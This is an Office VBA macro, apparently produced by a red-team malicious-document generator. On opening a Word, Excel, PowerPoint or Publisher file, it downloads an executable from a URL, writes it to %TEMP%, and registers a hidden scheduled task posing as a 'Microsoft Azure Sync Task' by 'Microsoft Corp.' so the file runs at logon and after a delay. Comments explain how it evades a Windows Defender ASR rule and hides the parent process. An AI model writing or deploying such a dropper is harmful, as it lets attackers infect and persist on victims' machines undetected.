'
' This launching technique will create a new scheduled task for the 
' command specified, to be launched during user's logon.
'
' If --dont-launch was not given (for stopping immediate execution) will add yet another
' trigger to the task scheduled, launching the command in 240 seconds after
' scheduling.
'
' Allows to dechain Parent-Child relationship, spawned command will be child of task scheduler. Highly reliable.
'

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError

    '
    ' Among different ways to download content from the Internet via VBScript:
    '   - WinHttp.WinHttpRequest.5.1
    '   - Msxml2.XMLHTTP
    '   - Microsoft.XMLHTTP
    ' only the last one was not blocked by Windows Defender Exploit Guard ASR rule:
    '   "Block Javascript or VBScript from launching downloaded executable content"
    '
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "Accept", "*/*"
        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .setRequestHeader "DNT", "1"
        .Send

        If .Status = 200 Then
            obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
            Exit Function
        End If
    End With

obf_ProcError:
    obf_DownloadFromURL = ""
End Function

Function obf_GetUserFullName() As String
    Dim obf_WSHnet, obf_UserName, obf_UserDomain, obf_objUser
    Set obf_WSHnet = CreateObject("WScript.Network")
    obf_UserName = obf_WSHnet.UserName
    obf_UserDomain = obf_WSHnet.UserDomain
    Set obf_objUser = GetObject("WinNT://" & obf_UserDomain & "/" & obf_UserName & ",user")
    If Len(obf_objUser.FullName) = 0 Then
        obf_GetUserFullName = obf_UserDomain & "\" & obf_UserName
    Else
        obf_GetUserFullName = obf_objUser.FullName
    End If
End Function

Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("Adodb.Stream")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function

Function obf_XmlTime(obf_time)
    Dim obf_cSecond, obf_cMinute, obf_CHour, obf_cDay, obf_cMonth, obf_cYear
    Dim obf_tTime, obf_tDate

    obf_cSecond = "0" & Second(obf_time)
    obf_cMinute = "0" & Minute(obf_time)
    obf_CHour = "0" & Hour(obf_time)
    obf_cDay = "0" & Day(obf_time)
    obf_cMonth = "0" & Month(obf_time)
    obf_cYear = Year(obf_time)

    obf_tTime = Right(obf_CHour, 2) & ":" & Right(obf_cMinute, 2) & _
        ":" & Right(obf_cSecond, 2)
    obf_tDate = obf_cYear & "-" & Right(obf_cMonth, 2) & "-" & Right(obf_cDay, 2)
    obf_XmlTime = obf_tDate & "T" & obf_tTime
End Function

Public Function obf_ShellcodeGet() As String
    On Error GoTo obf_ProcError

    obf_ShellcodeGet = obf_DownloadFromURL("http://localhost:8080/Autoruns64.exe")
    Exit Function

obf_ProcError:
    obf_ShellcodeGet = ""
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError

    Dim obf_principal, obf_rootFolder, obf_settings, obf_triggers
    Dim obf_trigger, obf_startTime, obf_endTime, obf_time, obf_Action
    Dim obf_taskDefinition, obf_regInfo, obf_taskName, obf_logonType
    Dim obf_taskTrigger, obf_taskTrigger2, obf_trigger2
    Dim obf_ShouldILaunchIt, obf_Delay, obf_AtLogon

    obf_ShouldILaunchIt = True
    obf_Delay = 240
    obf_AtLogon = True

    ' 3 - TASK_LOGON_INTERACTIVE_TOKEN - Set the logon type to interactive logon
    obf_logonType = 3

    ' 0 - TASK_TRIGGER_EVENT
    ' 1 - TASK_TRIGGER_TIME
    ' 2 - TASK_TRIGGER_DAILY
    ' 6 - TASK_TRIGGER_IDLE
    ' 7 - TASK_TRIGGER_REGISTRATION
    ' 8 - TASK_TRIGGER_BOOT
    ' 9 - TASK_TRIGGER_LOGON
    obf_taskTrigger = 1
    obf_taskTrigger2 = 9

    ' 0 - TASK_ACTION_EXEC - specifies an executable action
    obf_taskAction = 0

    obf_taskName = "Microsoft Azure Sync Task"
    obf_taskAuthor = "Microsoft Corp."
    obf_taskDescription = "Microsoft Azure Sync Task"

    Set obf_service = CreateObject("Schedule.Service")
    Call obf_service.Connect

    Set obf_rootFolder = obf_service.GetFolder("\")
    Set obf_taskDefinition = obf_service.NewTask(0)

    Set obf_regInfo = obf_taskDefinition.RegistrationInfo
    obf_regInfo.Description = obf_taskDescription
    obf_regInfo.Author = obf_taskAuthor

    Set obf_principal = obf_taskDefinition.principal
    obf_principal.LogonType = obf_logonType

    Set obf_settings = obf_taskDefinition.settings
    obf_settings.Enabled = True
    obf_settings.StartWhenAvailable = True
    obf_settings.Hidden = True

    Set obf_triggers = obf_taskDefinition.triggers

    If obf_AtLogon Then
        Set obf_trigger2 = obf_triggers.Create(obf_taskTrigger2)
        obf_time = DateAdd("s", 5, Now)
        obf_startTime = obf_XmlTime(obf_time)
        obf_trigger2.StartBoundary = obf_startTime
        obf_trigger2.EndBoundary = "2023-05-04T00:00:00"

        obf_trigger2.ExecutionTimeLimit = "PT129600M"
        obf_trigger2.ID = "LogonTrigger"
        obf_trigger2.Enabled = True
        obf_trigger2.UserId = obf_GetUserFullName
    End If

    If obf_ShouldILaunchIt Then
        Set obf_trigger = obf_triggers.Create(obf_taskTrigger)

        'start time = 240 seconds from now
        obf_time = DateAdd("s", obf_Delay, Now)
        obf_startTime = obf_XmlTime(obf_time)

        'end time = 129600 minutes (90 days) from now
        obf_time = DateAdd("n", 129600, Now)
        obf_endTime = obf_XmlTime(obf_time)

        obf_trigger.StartBoundary = obf_startTime
        obf_trigger.EndBoundary = obf_endTime

        ' 129600 minutes for execution time limit
        obf_trigger.ExecutionTimeLimit = "PT129600M"
        obf_trigger.ID = "TimeTrigger"
        obf_trigger.Enabled = True
    End If

    Set obf_Action = obf_taskDefinition.Actions.Create(obf_taskAction)
    obf_Action.Path = obf_command

    Call obf_rootFolder.RegisterTaskDefinition( _
        obf_taskName, obf_taskDefinition, 6, , , 3)

obf_ProcError:
End Sub

Function obf_ShellcodeEntry() As String

    obf_ShellcodeEntry = obf_ShellcodeGet
End Function

Sub obf_DropFile(ByVal obf_saveto As String)
    On Error GoTo obf_ProcError
    Dim obf_code
    Dim obf_bytes() As Byte
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    obf_code = ""
    obf_code = obf_ShellcodeEntry

    obf_bytes = StrConv(obf_code, vbFromUnicode)
    
    If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then
        obf_LaunchCommand "%TEMP%\Autoruns64.exe"
    End If

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%TEMP%\")
    obf_location = obf_path & "Autoruns64.exe"

    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub